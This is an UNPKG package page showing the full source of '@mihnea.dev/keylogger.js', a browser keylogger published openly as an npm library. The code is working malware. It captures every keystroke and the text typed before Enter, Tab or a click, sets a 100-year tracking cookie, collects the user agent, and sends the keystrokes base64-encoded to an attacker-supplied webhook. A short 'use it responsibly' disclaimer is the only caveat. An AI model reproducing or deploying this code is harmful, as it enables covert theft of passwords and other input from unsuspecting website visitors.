UNPKG

@mihnea.dev/keylogger.js

Version:

A simple keylogger for the browser. Please use it responsibly!

128 lines (126 loc) 3.87 kB
// src/lib/Keylogger.ts var Keylogger = class { /** Webhook URL to send captured data. */ webhook; /** Current session information. */ session = null; /** Array to store captured keystrokes. */ keys = []; /** * Constructs a new instance of the Keylogger. * * @param { string } webhook - URL of the webhook to send captured data. * @param { boolean } [logAll=false] - Whether to log every keypress (`true`) or only on the "Enter" key (`false`). */ constructor(webhook, logAll) { this.webhook = webhook; const masterSession = this.getOrCreateMasterSession(); this.initializeSession(masterSession); logAll ? this.logAll() : this.logOnEvent(); } /** * Retrieves or creates a persistent "master-kw-cookie" cookie. * @returns The value of the "master-kw-session" cookie. */ getOrCreateMasterSession() { const cookieName = "master-kw-session"; const existingCookie = document.cookie.split("; ").find((row) => row.startsWith(`${cookieName}=`)); if (existingCookie) { return existingCookie.split("=")[1]; } const newMasterSession = crypto.randomUUID(); const expires = /* @__PURE__ */ new Date(); expires.setFullYear(expires.getFullYear() + 100); document.cookie = `${cookieName}=${newMasterSession}; expires=${expires.toUTCString()}; path=/`; return newMasterSession; } /** * Initializes the session with metadata. * @param { string } session_cookie - The persistent session cookie value. */ async initializeSession(session_cookie) { this.session = await this.createSession(session_cookie); } /** * Creates a new session object with metadata. * @param { string } session_cookie - The persistent session cookie value. * @returns { Promise<ISession> } A Promise resolving to the session object. */ async createSession(session_cookie) { const id = crypto.randomUUID(); const created_at = /* @__PURE__ */ new Date(); const user_agent = navigator.userAgent; return { id, created_at, user_agent, session_cookie }; } /** * Sends captured data to the webhook along with the session information. * NOTE: Data is encoded in Base64 to prevent interception. * * @param payload - The data payload to send. */ async sendToWebhook(payload) { if (!this.session) return; const body = btoa(JSON.stringify({ ...payload, session: this.session })); try { const response = await fetch(this.webhook, { method: "POST", headers: { "Content-Type": "text/plain" }, body }); if (!response.ok) { console.error(btoa(response.statusText)); } } catch (e) { console.error(btoa(e.toString())); } } /** * Logs all keypress events and sends each key to the webhook. */ logAll() { document.addEventListener("keydown", (event) => { const key = event.key; this.keys.push(key); this.sendToWebhook({ type: "keypress", value: key }); }); } /** * Logs all keystrokes until the "Enter" key is pressed, then sends the accumulated keys to the webhook. * * TODO: Also logs on "mouse click" & Tab click. */ logOnEvent() { document.addEventListener("keydown", (event) => { if (event.key === "Enter" || event.key === "Tab") { const value = this.keys.join(""); this.keys = []; this.sendToWebhook({ type: "enter", value }); } else { this.keys.push(event.key); } }); document.addEventListener("click", () => { const value = this.keys.join(""); if (value) { this.keys = []; this.sendToWebhook({ type: "click", value }); } }); } }; // src/index.ts var src_default = Keylogger; export { src_default as default };